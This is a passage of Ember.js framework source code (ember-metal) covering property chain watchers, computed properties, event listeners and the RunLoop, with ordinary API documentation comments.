[]; // attempts to add the pendingQueue chains again. If some of them end up // back in the queue and reschedule is true, schedules a timeout to try // again. function flushPendingChains() { if (pendingQueue.length === 0) { return; } // nothing to do var queue = pendingQueue; pendingQueue = []; forEach.call(queue, function(q) { q[0].add(q[1]); }); } function isProto(pvalue) { return metaFor(pvalue, false).proto === pvalue; } // A ChainNode watches a single key on an object. If you provide a starting // value for the key then the node won't actually watch it. For a root node // pass null for parent and key and object for value. var ChainNode = function(parent, key, value) { var obj; this._parent = parent; this._key = key; // _watching is true when calling get(this._parent, this._key) will // return the value of this node. // // It is false for the root of a chain (because we have no parent) // and for global paths (because the parent node is the object with // the observer on it) this._watching = value===undefined; this._value = value; this._paths = {}; if (this._watching) { this._object = parent.value(); if (this._object) { addChainWatcher(this._object, this._key, this); } } // Special-case: the EachProxy relies on immediate evaluation to // establish its observers. // // TODO: Replace this with an efficient callback that the EachProxy // can implement. if (this._parent && this._parent._key === '@each') { this.value(); } }; var ChainNodePrototype = ChainNode.prototype; ChainNodePrototype.value = function() { if (this._value === undefined && this._watching) { var obj = this._parent.value(); this._value = (obj && !isProto(obj)) ? get(obj, this._key) : undefined; } return this._value; }; ChainNodePrototype.destroy = function() { if (this._watching) { var obj = this._object; if (obj) { removeChainWatcher(obj, this._key, this); } this._watching = false; // so future calls do nothing } }; // copies a top level object only ChainNodePrototype.copy = function(obj) { var ret = new ChainNode(null, null, obj), paths = this._paths, path; for (path in paths) { if (paths[path] <= 0) { continue; } // this check will also catch non-number vals. ret.add(path); } return ret; }; // called on the root node of a chain to setup watchers on the specified // path. ChainNodePrototype.add = function(path) { var obj, tuple, key, src, paths; paths = this._paths; paths[path] = (paths[path] || 0) + 1; obj = this.value(); tuple = normalizeTuple(obj, path); // the path was a local path if (tuple[0] && tuple[0] === obj) { path = tuple[1]; key = firstKey(path); path = path.slice(key.length+1); // global path, but object does not exist yet. // put into a queue and try to connect later. } else if (!tuple[0]) { pendingQueue.push([this, path]); tuple.length = 0; return; // global path, and object already exists } else { src = tuple[0]; key = path.slice(0, 0-(tuple[1].length+1)); path = tuple[1]; } tuple.length = 0; this.chain(key, path, src); }; // called on the root node of a chain to teardown watcher on the specified // path ChainNodePrototype.remove = function(path) { var obj, tuple, key, src, paths; paths = this._paths; if (paths[path] > 0) { paths[path]--; } obj = this.value(); tuple = normalizeTuple(obj, path); if (tuple[0] === obj) { path = tuple[1]; key = firstKey(path); path = path.slice(key.length+1); } else { src = tuple[0]; key = path.slice(0, 0-(tuple[1].length+1)); path = tuple[1]; } tuple.length = 0; this.unchain(key, path); }; ChainNodePrototype.count = 0; ChainNodePrototype.chain = function(key, path, src) { var chains = this._chains, node; if (!chains) { chains = this._chains = {}; } node = chains[key]; if (!node) { node = chains[key] = new ChainNode(this, key, src); } node.count++; // count chains... // chain rest of path if there is one if (path && path.length>0) { key = firstKey(path); path = path.slice(key.length+1); node.chain(key, path); // NOTE: no src means it will observe changes... } }; ChainNodePrototype.unchain = function(key, path) { var chains = this._chains, node = chains[key]; // unchain rest of path first... if (path && path.length>1) { key = firstKey(path); path = path.slice(key.length+1); node.unchain(key, path); } // delete node if needed. node.count--; if (node.count<=0) { delete chains[node._key]; node.destroy(); } }; ChainNodePrototype.willChange = function() { var chains = this._chains; if (chains) { for(var key in chains) { if (!chains.hasOwnProperty(key)) { continue; } chains[key].willChange(); } } if (this._parent) { this._parent.chainWillChange(this, this._key, 1); } }; ChainNodePrototype.chainWillChange = function(chain, path, depth) { if (this._key) { path = this._key + '.' + path; } if (this._parent) { this._parent.chainWillChange(this, path, depth+1); } else { if (depth > 1) { Ember.propertyWillChange(this.value(), path); } path = 'this.' + path; if (this._paths[path] > 0) { Ember.propertyWillChange(this.value(), path); } } }; ChainNodePrototype.chainDidChange = function(chain, path, depth) { if (this._key) { path = this._key + '.' + path; } if (this._parent) { this._parent.chainDidChange(this, path, depth+1); } else { if (depth > 1) { Ember.propertyDidChange(this.value(), path); } path = 'this.' + path; if (this._paths[path] > 0) { Ember.propertyDidChange(this.value(), path); } } }; ChainNodePrototype.didChange = function(suppressEvent) { // invalidate my own value first. if (this._watching) { var obj = this._parent.value(); if (obj !== this._object) { removeChainWatcher(this._object, this._key, this); this._object = obj; addChainWatcher(obj, this._key, this); } this._value = undefined; // Special-case: the EachProxy relies on immediate evaluation to // establish its observers. if (this._parent && this._parent._key === '@each') this.value(); } // then notify chains... var chains = this._chains; if (chains) { for(var key in chains) { if (!chains.hasOwnProperty(key)) { continue; } chains[key].didChange(suppressEvent); } } if (suppressEvent) { return; } // and finally tell parent about my path changing... if (this._parent) { this._parent.chainDidChange(this, this._key, 1); } }; // get the chains for the current object. If the current object has // chains inherited from the proto they will be cloned and reconfigured for // the current object. function chainsFor(obj) { var m = metaFor(obj), ret = m.chains; if (!ret) { ret = m.chains = new ChainNode(null, null, obj); } else if (ret.value() !== obj) { ret = m.chains = ret.copy(obj); } return ret; } Ember.overrideChains = function(obj, keyName, m) { chainsDidChange(obj, keyName, m, true); }; function chainsWillChange(obj, keyName, m, arg) { if (!m.hasOwnProperty('chainWatchers')) { return; } // nothing to do var nodes = m.chainWatchers; nodes = nodes[keyName]; if (!nodes) { return; } for(var i = 0, l = nodes.length; i < l; i++) { nodes[i].willChange(arg); } } function chainsDidChange(obj, keyName, m, arg) { if (!m.hasOwnProperty('chainWatchers')) { return; } // nothing to do var nodes = m.chainWatchers; nodes = nodes[keyName]; if (!nodes) { return; } // looping in reverse because the chainWatchers array can be modified inside didChange for (var i = nodes.length - 1; i >= 0; i--) { nodes[i].didChange(arg); } } // .......................................................... // WATCH // /** @private Starts watching a property on an object. Whenever the property changes, invokes `Ember.propertyWillChange` and `Ember.propertyDidChange`. This is the primitive used by observers and dependent keys; usually you will never call this method directly but instead use higher level methods like `Ember.addObserver()` @method watch @for Ember @param obj @param {String} keyName */ Ember.watch = function(obj, keyName) { // can't watch length on Array - it is special... if (keyName === 'length' && Ember.typeOf(obj) === 'array') { return this; } var m = metaFor(obj), watching = m.watching, desc; // activate watching first time if (!watching[keyName]) { watching[keyName] = 1; if (isKeyName(keyName)) { desc = m.descs[keyName]; if (desc && desc.willWatch) { desc.willWatch(obj, keyName); } if ('function' === typeof obj.willWatchProperty) { obj.willWatchProperty(keyName); } if (MANDATORY_SETTER && keyName in obj) { m.values[keyName] = obj[keyName]; o_defineProperty(obj, keyName, { configurable: true, enumerable: true, set: Ember.MANDATORY_SETTER_FUNCTION, get: Ember.DEFAULT_GETTER_FUNCTION(keyName) }); } } else { chainsFor(obj).add(keyName); } } else { watching[keyName] = (watching[keyName] || 0) + 1; } return this; }; Ember.isWatching = function isWatching(obj, key) { var meta = obj[META_KEY]; return (meta && meta.watching[key]) > 0; }; Ember.watch.flushPending = flushPendingChains; Ember.unwatch = function(obj, keyName) { // can't watch length on Array - it is special... if (keyName === 'length' && Ember.typeOf(obj) === 'array') { return this; } var m = metaFor(obj), watching = m.watching, desc; if (watching[keyName] === 1) { watching[keyName] = 0; if (isKeyName(keyName)) { desc = m.descs[keyName]; if (desc && desc.didUnwatch) { desc.didUnwatch(obj, keyName); } if ('function' === typeof obj.didUnwatchProperty) { obj.didUnwatchProperty(keyName); } if (MANDATORY_SETTER && keyName in obj) { o_defineProperty(obj, keyName, { configurable: true, enumerable: true, writable: true, value: m.values[keyName] }); delete m.values[keyName]; } } else { chainsFor(obj).remove(keyName); } } else if (watching[keyName]>1) { watching[keyName]--; } return this; }; /** @private Call on an object when you first beget it from another object. This will setup any chained watchers on the object instance as needed. This method is safe to call multiple times. @method rewatch @for Ember @param obj */ Ember.rewatch = function(obj) { var m = metaFor(obj, false), chains = m.chains; // make sure the object has its own guid. if (GUID_KEY in obj && !obj.hasOwnProperty(GUID_KEY)) { Ember.generateGuid(obj, 'ember'); } // make sure any chained watchers update. if (chains && chains.value() !== obj) { m.chains = chains.copy(obj); } return this; }; Ember.finishChains = function(obj) { var m = metaFor(obj, false), chains = m.chains; if (chains) { if (chains.value() !== obj) { m.chains = chains = chains.copy(obj); } chains.didChange(true); } }; // .......................................................... // PROPERTY CHANGES // /** This function is called just before an object property is about to change. It will notify any before observers and prepare caches among other things. Normally you will not need to call this method directly but if for some reason you can't directly watch a property you can invoke this method manually along with `Ember.propertyDidChange()` which you should call just after the property value changes. @method propertyWillChange @for Ember @param {Object} obj The object with the property that will change @param {String} keyName The property key (or path) that will change. @return {void} */ function propertyWillChange(obj, keyName, value) { var m = metaFor(obj, false), watching = m.watching[keyName] > 0 || keyName === 'length', proto = m.proto, desc = m.descs[keyName]; if (!watching) { return; } if (proto === obj) { return; } if (desc && desc.willChange) { desc.willChange(obj, keyName); } dependentKeysWillChange(obj, keyName, m); chainsWillChange(obj, keyName, m); Ember.notifyBeforeObservers(obj, keyName); } Ember.propertyWillChange = propertyWillChange; /** This function is called just after an object property has changed. It will notify any observers and clear caches among other things. Normally you will not need to call this method directly but if for some reason you can't directly watch a property you can invoke this method manually along with `Ember.propertyWilLChange()` which you should call just before the property value changes. @method propertyDidChange @for Ember @param {Object} obj The object with the property that will change @param {String} keyName The property key (or path) that will change. @return {void} */ function propertyDidChange(obj, keyName) { var m = metaFor(obj, false), watching = m.watching[keyName] > 0 || keyName === 'length', proto = m.proto, desc = m.descs[keyName]; if (proto === obj) { return; } // shouldn't this mean that we're watching this key? if (desc && desc.didChange) { desc.didChange(obj, keyName); } if (!watching && keyName !== 'length') { return; } dependentKeysDidChange(obj, keyName, m); chainsDidChange(obj, keyName, m); Ember.notifyObservers(obj, keyName); } Ember.propertyDidChange = propertyDidChange; var NODE_STACK = []; /** Tears down the meta on an object so that it can be garbage collected. Multiple calls will have no effect. @method destroy @for Ember @param {Object} obj the object to destroy @return {void} */ Ember.destroy = function (obj) { var meta = obj[META_KEY], node, nodes, key, nodeObject; if (meta) { obj[META_KEY] = null; // remove chainWatchers to remove circular references that would prevent GC node = meta.chains; if (node) { NODE_STACK.push(node); // process tree while (NODE_STACK.length > 0) { node = NODE_STACK.pop(); // push children nodes = node._chains; if (nodes) { for (key in nodes) { if (nodes.hasOwnProperty(key)) { NODE_STACK.push(nodes[key]); } } } // remove chainWatcher in node object if (node._watching) { nodeObject = node._object; if (nodeObject) { removeChainWatcher(nodeObject, node._key, node); } } } } } }; })(); (function() { /** @module ember-metal */ var get = Ember.get, set = Ember.set, metaFor = Ember.meta, guidFor = Ember.guidFor, a_slice = [].slice, o_create = Ember.create, META_KEY = Ember.META_KEY, watch = Ember.watch, unwatch = Ember.unwatch; // .......................................................... // DEPENDENT KEYS // // data structure: // meta.deps = { // 'depKey': { // 'keyName': count, // } // } /* This function returns a map of unique dependencies for a given object and key. */ function keysForDep(obj, depsMeta, depKey) { var keys = depsMeta[depKey]; if (!keys) { // if there are no dependencies yet for a the given key // create a new empty list of dependencies for the key keys = depsMeta[depKey] = {}; } else if (!depsMeta.hasOwnProperty(depKey)) { // otherwise if the dependency list is inherited from // a superclass, clone the hash keys = depsMeta[depKey] = o_create(keys); } return keys; } /* return obj[META_KEY].deps */ function metaForDeps(obj, meta) { var deps = meta.deps; // If the current object has no dependencies... if (!deps) { // initialize the dependencies with a pointer back to // the current object deps = meta.deps = {}; } else if (!meta.hasOwnProperty('deps')) { // otherwise if the dependencies are inherited from the // object's superclass, clone the deps deps = meta.deps = o_create(deps); } return deps; } function addDependentKeys(desc, obj, keyName, meta) { // the descriptor has a list of dependent keys, so // add all of its dependent keys. var depKeys = desc._dependentKeys, depsMeta, idx, len, depKey, keys; if (!depKeys) return; depsMeta = metaForDeps(obj, meta); for(idx = 0, len = depKeys.length; idx < len; idx++) { depKey = depKeys[idx]; // Lookup keys meta for depKey keys = keysForDep(obj, depsMeta, depKey); // Increment the number of times depKey depends on keyName. keys[keyName] = (keys[keyName] || 0) + 1; // Watch the depKey watch(obj, depKey); } } function removeDependentKeys(desc, obj, keyName, meta) { // the descriptor has a list of dependent keys, so // add all of its dependent keys. var depKeys = desc._dependentKeys, depsMeta, idx, len, depKey, keys; if (!depKeys) return; depsMeta = metaForDeps(obj, meta); for(idx = 0, len = depKeys.length; idx < len; idx++) { depKey = depKeys[idx]; // Lookup keys meta for depKey keys = keysForDep(obj, depsMeta, depKey); // Increment the number of times depKey depends on keyName. keys[keyName] = (keys[keyName] || 0) - 1; // Watch the depKey unwatch(obj, depKey); } } // .......................................................... // COMPUTED PROPERTY // /** @class ComputedProperty @namespace Ember @extends Ember.Descriptor @constructor */ function ComputedProperty(func, opts) { this.func = func; this._cacheable = (opts && opts.cacheable !== undefined) ? opts.cacheable : true; this._dependentKeys = opts && opts.dependentKeys; } Ember.ComputedProperty = ComputedProperty; ComputedProperty.prototype = new Ember.Descriptor(); var ComputedPropertyPrototype = ComputedProperty.prototype; /** Call on a computed property to set it into cacheable mode. When in this mode the computed property will automatically cache the return value of your function until one of the dependent keys changes. ```javascript MyApp.president = Ember.Object.create({ fullName: function() { return this.get('firstName') + ' ' + this.get('lastName'); // After calculating the value of this function, Ember will // return that value without re-executing this function until // one of the dependent properties change. }.property('firstName', 'lastName') }); ``` Properties are cacheable by default. @method cacheable @param {Boolean} aFlag optional set to `false` to disable caching @chainable */ ComputedPropertyPrototype.cacheable = function(aFlag) { this._cacheable = aFlag !== false; return this; }; /** Call on a computed property to set it into non-cached mode. When in this mode the computed property will not automatically cache the return value. ```javascript MyApp.outsideService = Ember.Object.create({ value: function() { return OutsideService.getValue(); }.property().volatile() }); ``` @method volatile @chainable */ ComputedPropertyPrototype.volatile = function() { return this.cacheable(false); }; /** Sets the dependent keys on this computed property. Pass any number of arguments containing key paths that this computed property depends on. ```javascript MyApp.president = Ember.Object.create({ fullName: Ember.computed(function() { return this.get('firstName') + ' ' + this.get('lastName'); // Tell Ember that this computed property depends on firstName // and lastName }).property('firstName', 'lastName') }); ``` @method property @param {String} path* zero or more property paths @chainable */ ComputedPropertyPrototype.property = function() { var args = []; for (var i = 0, l = arguments.length; i < l; i++) { args.push(arguments[i]); } this._dependentKeys = args; return this; }; /** In some cases, you may want to annotate computed properties with additional metadata about how they function or what values they operate on. For example, computed property functions may close over variables that are then no longer available for introspection. You can pass a hash of these values to a computed property like this: ``` person: function() { var personId = this.get('personId'); return App.Person.create({ id: personId }); }.property().meta({ type: App.Person }) ``` The hash that you pass to the `meta()` function will be saved on the computed property descriptor under the `_meta` key. Ember runtime exposes a public API for retrieving these values from classes, via the `metaForProperty()` function. @method meta @param {Hash} meta @chainable */ ComputedPropertyPrototype.meta = function(meta) { if (arguments.length === 0) { return this._meta || {}; } else { this._meta = meta; return this; } }; /* impl descriptor API */ ComputedPropertyPrototype.willWatch = function(obj, keyName) { // watch already creates meta for this instance var meta = obj[META_KEY]; if (!(keyName in meta.cache)) { addDependentKeys(this, obj, keyName, meta); } }; ComputedPropertyPrototype.didUnwatch = function(obj, keyName) { var meta = obj[META_KEY]; if (!(keyName in meta.cache)) { // unwatch already creates meta for this instance removeDependentKeys(this, obj, keyName, meta); } }; /* impl descriptor API */ ComputedPropertyPrototype.didChange = function(obj, keyName) { // _suspended is set via a CP.set to ensure we don't clear // the cached value set by the setter if (this._cacheable && this._suspended !== obj) { var meta = metaFor(obj); if (keyName in meta.cache) { delete meta.cache[keyName]; if (!meta.watching[keyName]) { removeDependentKeys(this, obj, keyName, meta); } } } }; /* impl descriptor API */ ComputedPropertyPrototype.get = function(obj, keyName) { var ret, cache, meta; if (this._cacheable) { meta = metaFor(obj); cache = meta.cache; if (keyName in cache) { return cache[keyName]; } ret = cache[keyName] = this.func.call(obj, keyName); if (!meta.watching[keyName]) { addDependentKeys(this, obj, keyName, meta); } } else { ret = this.func.call(obj, keyName); } return ret; }; /* impl descriptor API */ ComputedPropertyPrototype.set = function(obj, keyName, value) { var cacheable = this._cacheable, func = this.func, meta = metaFor(obj, cacheable), watched = meta.watching[keyName], oldSuspended = this._suspended, hadCachedValue = false, cache = meta.cache, cachedValue, ret; this._suspended = obj; try { if (cacheable && cache.hasOwnProperty(keyName)) { cachedValue = cache[keyName]; hadCachedValue = true; } // Check if the CP has been wrapped if (func.wrappedFunction) { func = func.wrappedFunction; } // For backwards-compatibility with computed properties // that check for arguments.length === 2 to determine if // they are being get or set, only pass the old cached // value if the computed property opts into a third // argument. if (func.length === 3) { ret = func.call(obj, keyName, value, cachedValue); } else if (func.length === 2) { ret = func.call(obj, keyName, value); } else { Ember.defineProperty(obj, keyName, null, cachedValue); Ember.set(obj, keyName, value); return; } if (hadCachedValue && cachedValue === ret) { return; } if (watched) { Ember.propertyWillChange(obj, keyName); } if (hadCachedValue) { delete cache[keyName]; } if (cacheable) { if (!watched && !hadCachedValue) { addDependentKeys(this, obj, keyName, meta); } cache[keyName] = ret; } if (watched) { Ember.propertyDidChange(obj, keyName); } } finally { this._suspended = oldSuspended; } return ret; }; /* called when property is defined */ ComputedPropertyPrototype.setup = function(obj, keyName) { var meta = obj[META_KEY]; if (meta && meta.watching[keyName]) { addDependentKeys(this, obj, keyName, metaFor(obj)); } }; /* called before property is overridden */ ComputedPropertyPrototype.teardown = function(obj, keyName) { var meta = metaFor(obj); if (meta.watching[keyName] || keyName in meta.cache) { removeDependentKeys(this, obj, keyName, meta); } if (this._cacheable) { delete meta.cache[keyName]; } return null; // no value to restore }; /** This helper returns a new property descriptor that wraps the passed computed property function. You can use this helper to define properties with mixins or via `Ember.defineProperty()`. The function you pass will be used to both get and set property values. The function should accept two parameters, key and value. If value is not undefined you should set the value first. In either case return the current value of the property. @method computed @for Ember @param {Function} func The computed property function. @return {Ember.ComputedProperty} property descriptor instance */ Ember.computed = function(func) { var args; if (arguments.length > 1) { args = a_slice.call(arguments, 0, -1); func = a_slice.call(arguments, -1)[0]; } var cp = new ComputedProperty(func); if (args) { cp.property.apply(cp, args); } return cp; }; /** Returns the cached value for a property, if one exists. This can be useful for peeking at the value of a computed property that is generated lazily, without accidentally causing it to be created. @method cacheFor @for Ember @param {Object} obj the object whose property you want to check @param {String} key the name of the property whose cached value you want to return */ Ember.cacheFor = function cacheFor(obj, key) { var cache = metaFor(obj, false).cache; if (cache && key in cache) { return cache[key]; } }; /** @method computed.not @for Ember @param {String} dependentKey */ Ember.computed.not = function(dependentKey) { return Ember.computed(dependentKey, function(key) { return !get(this, dependentKey); }); }; /** @method computed.empty @for Ember @param {String} dependentKey */ Ember.computed.empty = function(dependentKey) { return Ember.computed(dependentKey, function(key) { var val = get(this, dependentKey); return val === undefined || val === null || val === '' || (Ember.isArray(val) && get(val, 'length') === 0); }); }; /** @method computed.bool @for Ember @param {String} dependentKey */ Ember.computed.bool = function(dependentKey) { return Ember.computed(dependentKey, function(key) { return !!get(this, dependentKey); }); }; /** @method computed.alias @for Ember @param {String} dependentKey */ Ember.computed.alias = function(dependentKey) { return Ember.computed(dependentKey, function(key, value){ if (arguments.length === 1) { return get(this, dependentKey); } else { set(this, dependentKey, value); return value; } }); }; })(); (function() { /** @module ember-metal */ var o_create = Ember.create, metaFor = Ember.meta, metaPath = Ember.metaPath, META_KEY = Ember.META_KEY; /* The event system uses a series of nested hashes to store listeners on an object. When a listener is registered, or when an event arrives, these hashes are consulted to determine which target and action pair to invoke. The hashes are stored in the object's meta hash, and look like this: // Object's meta hash { listeners: { // variable name: `listenerSet` "foo:changed": [ // variable name: `actions` [target, method, onceFlag, suspendedFlag] ] } } */ function indexOf(array, target, method) { var index = -1; for (var i = 0, l = array.length; i < l; i++) { if (target === array[i][0] && method === array[i][1]) { index = i; break; } } return index; } function actionsFor(obj, eventName) { var meta = metaFor(obj, true), actions; if (!meta.listeners) { meta.listeners = {}; } if (!meta.hasOwnProperty('listeners')) { // setup inherited copy of the listeners object meta.listeners = o_create(meta.listeners); } actions = meta.listeners[eventName]; // if there are actions, but the eventName doesn't exist in our listeners, then copy them from the prototype if (actions && !meta.listeners.hasOwnProperty(eventName)) { actions = meta.listeners[eventName] = meta.listeners[eventName].slice(); } else if (!actions) { actions = meta.listeners[eventName] = []; } return actions; } function actionsUnion(obj, eventName, otherActions) { var meta = obj[META_KEY], actions = meta && meta.listeners && meta.listeners[eventName]; if (!actions) { return; } for (var i = actions.length - 1; i >= 0; i--) { var target = actions[i][0], method = actions[i][1], once = actions[i][2], suspended = actions[i][3], actionIndex = indexOf(otherActions, target, method); if (actionIndex === -1) { otherActions.push([target, method, once, suspended]); } } } function actionsDiff(obj, eventName, otherActions) { var meta = obj[META_KEY], actions = meta && meta.listeners && meta.listeners[eventName], diffActions = []; if (!actions) { return; } for (var i = actions.length - 1; i >= 0; i--) { var target = actions[i][0], method = actions[i][1], once = actions[i][2], suspended = actions[i][3], actionIndex = indexOf(otherActions, target, method); if (actionIndex !== -1) { continue; } otherActions.push([target, method, once, suspended]); diffActions.push([target, method, once, suspended]); } return diffActions; } /** Add an event listener @method addListener @for Ember @param obj @param {String} eventName @param {Object|Function} targetOrMethod A target object or a function @param {Function|String} method A function or the name of a function to be called on `target` */ function addListener(obj, eventName, target, method, once) { if (!method && 'function' === typeof target) { method = target; target = null; } var actions = actionsFor(obj, eventName), actionIndex = indexOf(actions, target, method); if (actionIndex !== -1) { return; } actions.push([target, method, once, undefined]); if ('function' === typeof obj.didAddListener) { obj.didAddListener(eventName, target, method); } } /** Remove an event listener Arguments should match those passed to {{#crossLink "Ember/addListener"}}{{/crossLink}} @method removeListener @for Ember @param obj @param {String} eventName @param {Object|Function} targetOrMethod A target object or a function @param {Function|String} method A function or the name of a function to be called on `target` */ function removeListener(obj, eventName, target, method) { if (!method && 'function' === typeof target) { method = target; target = null; } function _removeListener(target, method, once) { var actions = actionsFor(obj, eventName), actionIndex = indexOf(actions, target, method); // action doesn't exist, give up silently if (actionIndex === -1) { return; } actions.splice(actionIndex, 1); if ('function' === typeof obj.didRemoveListener) { obj.didRemoveListener(eventName, target, method); } } if (method) { _removeListener(target, method); } else { var meta = obj[META_KEY], actions = meta && meta.listeners && meta.listeners[eventName]; if (!actions) { return; } for (var i = actions.length - 1; i >= 0; i--) { _removeListener(actions[i][0], actions[i][1]); } } } /** @private Suspend listener during callback. This should only be used by the target of the event listener when it is taking an action that would cause the event, e.g. an object might suspend its property change listener while it is setting that property. @method suspendListener @for Ember @param obj @param {String} eventName @param {Object|Function} targetOrMethod A target object or a function @param {Function|String} method A function or the name of a function to be called on `target` @param {Function} callback */ function suspendListener(obj, eventName, target, method, callback) { if (!method && 'function' === typeof target) { method = target; target = null; } var actions = actionsFor(obj, eventName), actionIndex = indexOf(actions, target, method), action; if (actionIndex !== -1) { action = actions[actionIndex].slice(); // copy it, otherwise we're modifying a shared object action[3] = true; // mark the action as suspended actions[actionIndex] = action; // replace the shared object with our copy } function tryable() { return callback.call(target); } function finalizer() { if (action) { action[3] = undefined; } } return Ember.tryFinally(tryable, finalizer); } /** @private Suspend listener during callback. This should only be used by the target of the event listener when it is taking an action that would cause the event, e.g. an object might suspend its property change listener while it is setting that property. @method suspendListener @for Ember @param obj @param {Array} eventName Array of event names @param {Object|Function} targetOrMethod A target object or a function @param {Function|String} method A function or the name of a function to be called on `target` @param {Function} callback */ function suspendListeners(obj, eventNames, target, method, callback) { if (!method && 'function' === typeof target) { method = target; target = null; } var suspendedActions = [], eventName, actions, action, i, l; for (i=0, l=eventNames.length; i<l; i++) { eventName = eventNames[i]; actions = actionsFor(obj, eventName); var actionIndex = indexOf(actions, target, method); if (actionIndex !== -1) { action = actions[actionIndex].slice(); action[3] = true; actions[actionIndex] = action; suspendedActions.push(action); } } function tryable() { return callback.call(target); } function finalizer() { for (i = 0, l = suspendedActions.length; i < l; i++) { suspendedActions[i][3] = undefined; } } return Ember.tryFinally(tryable, finalizer); } /** @private Return a list of currently watched events @method watchedEvents @for Ember @param obj */ function watchedEvents(obj) { var listeners = obj[META_KEY].listeners, ret = []; if (listeners) { for(var eventName in listeners) { if (listeners[eventName]) { ret.push(eventName); } } } return ret; } /** @method sendEvent @for Ember @param obj @param {String} eventName @param {Array} params @return true */ function sendEvent(obj, eventName, params, actions) { // first give object a chance to handle it if (obj !== Ember && 'function' === typeof obj.sendEvent) { obj.sendEvent(eventName, params); } if (!actions) { var meta = obj[META_KEY]; actions = meta && meta.listeners && meta.listeners[eventName]; } if (!actions) { return; } for (var i = actions.length - 1; i >= 0; i--) { // looping in reverse for once listeners if (!actions[i] || actions[i][3] === true) { continue; } var target = actions[i][0], method = actions[i][1], once = actions[i][2]; if (once) { removeListener(obj, eventName, target, method); } if (!target) { target = obj; } if ('string' === typeof method) { method = target[method]; } if (params) { method.apply(target, params); } else { method.apply(target); } } return true; } /** @private @method hasListeners @for Ember @param obj @param {String} eventName */ function hasListeners(obj, eventName) { var meta = obj[META_KEY], actions = meta && meta.listeners && meta.listeners[eventName]; return !!(actions && actions.length); } /** @private @method listenersFor @for Ember @param obj @param {String} eventName */ function listenersFor(obj, eventName) { var ret = []; var meta = obj[META_KEY], actions = meta && meta.listeners && meta.listeners[eventName]; if (!actions) { return ret; } for (var i = 0, l = actions.length; i < l; i++) { var target = actions[i][0], method = actions[i][1]; ret.push([target, method]); } return ret; } Ember.addListener = addListener; Ember.removeListener = removeListener; Ember._suspendListener = suspendListener; Ember._suspendListeners = suspendListeners; Ember.sendEvent = sendEvent; Ember.hasListeners = hasListeners; Ember.watchedEvents = watchedEvents; Ember.listenersFor = listenersFor; Ember.listenersDiff = actionsDiff; Ember.listenersUnion = actionsUnion; })(); (function() { // Ember.Logger // Ember.watch.flushPending // Ember.beginPropertyChanges, Ember.endPropertyChanges // Ember.guidFor, Ember.tryFinally /** @module ember-metal */ // .......................................................... // HELPERS // var slice = [].slice, forEach = Ember.ArrayPolyfills.forEach; // invokes passed params - normalizing so you can pass target/func, // target/string or just func function invoke(target, method, args, ignore) { if (method === undefined) { method = target; target = undefined; } if ('string' === typeof method) { method = target[method]; } if (args && ignore > 0) { args = args.length > ignore ? slice.call(args, ignore) : null; } return Ember.handleErrors(function() { // IE8's Function.prototype.apply doesn't accept undefined/null arguments. return method.apply(target || this, args || []); }, this); } // .......................................................... // RUNLOOP // var timerMark; // used by timers... /** Ember RunLoop (Private) @class RunLoop @namespace Ember @private @constructor */ var RunLoop = function(prev) { this._prev = prev || null; this.onceTimers = {}; }; RunLoop.prototype = { /** @method end */ end: function() { this.flush(); }, /** @method prev */ prev: function() { return this._prev; }, // .......................................................... // Delayed Actions // /** @method schedule @param {String} queueName @param target @param method */ schedule: function(queueName, target, method) { var queues = this._queues, queue; if (!queues) { queues = this._queues = {}; } queue = queues[queueName]; if (!queue) { queue = queues[queueName] = []; } var args = arguments.length > 3 ? slice.call(arguments, 3) : null; queue.push({ target: target, method: method, args: args }); return this; }, /** @method flush @param {String} queueName */ flush: function(queueName) { var queueNames, idx, len, queue, log; if (!this._queues) { return this; } // nothing to do function iter(item) { invoke(item.target, item.method, item.args); } function tryable() { forEach.call(queue, iter); } Ember.watch.flushPending(); // make sure all chained watchers are setup if (queueName) { while (this._queues && (queue = this._queues[queueName])) { this._queues[queueName] = null; // the sync phase is to allow property changes to propagate. don't // invoke observers until that is finished. if (queueName === 'sync') { log = Ember.LOG_BINDINGS; if (log) { Ember.Logger.log('Begin: Flush Sync Queue'); } Ember.beginPropertyChanges(); Ember.tryFinally(tryable, Ember.endPropertyChanges); if (log) { Ember.Logger.log('End: Flush Sync Queue'); } } else { forEach.call(queue, iter); } } } else { queueNames = Ember.run.queues; len = queueNames.length; idx = 0; outerloop: while (idx < len) { queueName = queueNames[idx]; queue = this._queues && this._queues[queueName]; delete this._queues[queueName]; if (queue) { // the sync phase is to allow property changes to propagate. don't // invoke observers until that is finished. if (queueName === 'sync') { log = Ember.LOG_BINDINGS; if (log) { Ember.Logger.log('Begin: Flush Sync Queue'); } Ember.beginPropertyChanges(); Ember.tryFinally(tryable, Ember.endPropertyChanges); if (log) { Ember.Logger.log('End: Flush Sync Queue'); } } else { forEach.call(queue, iter); } } // Loop through prior queues for (var i = 0; i <= idx; i++) { if (this._queues && this._queues[queueNames[i]]) { // Start over at the first queue with contents idx = i; continue outerloop; } } idx++; } } timerMark = null; return this; } }; Ember.RunLoop = RunLoop; // .......................................................... // Ember.run - this is ideally the only public API the dev sees // /** Runs the passed target and method inside of a RunLoop, ensuring any deferred actions including bindings and views updates are flushed at the end. Normally you should not need to invoke this method yourself. However if you are implementing raw event handlers when interfacing with other libraries or plugins, you should probably wrap all of your code inside this call. ```javascript Ember.run(function(){ // code to be execute within a RunLoop }); ``` @class run @namespace Ember @static @constructor @param {Object} [target] target of method to call @param {Function|String} method Method to invoke. May be a function or a string. If you pass a string then it will be looked up on the passed target. @param {Object} [args*] Any additional arguments you wish to pass to the method. @return {Object} return value from invoking the passed function. */ Ember.run = function(target, method) { var loop, args = arguments; run.begin(); function tryable() { if (target || method) { return invoke(target, method, args, 2); } } return Ember.tryFinally(tryable, run.end); }; var run = Ember.run; /** Begins a new RunLoop. Any deferred actions invoked after the begin will be buffered until you invoke a matching call to `Ember.run.end()`. This is an lower-level way to use a RunLoop instead of using `Ember.run()`. ```javascript Ember.run.begin(); // code to be execute within a RunLoop Ember.run.end(); ``` @method begin @return {void} */ Ember.run.begin = function() { run.currentRunLoop = new RunLoop(run.currentRunLoop); }; /** Ends a RunLoop. This must be called sometime after you call `Ember.run.begin()` to flush any deferred actions. This is a lower-level way to use a RunLoop instead of using `Ember.run()`. ```javascript Ember.run.begin(); // code to be execute within a RunLoop Ember.run.end(); ``` @method end @return {void} */ Ember.run.end = function() { function tryable() { run.currentRunLoop.end(); } function finalizer() { run.currentRunLoop = run.currentRunLoop.prev(); } Ember.tryFinally(tryable, finalizer); }; /** Array of named queues. This array determines the order in which queues are flushed at the end of the RunLoop. You can define your own queues by simply adding the queue name to this array. Normally you should not need to inspect or modify this property. @property queues @type Array @default 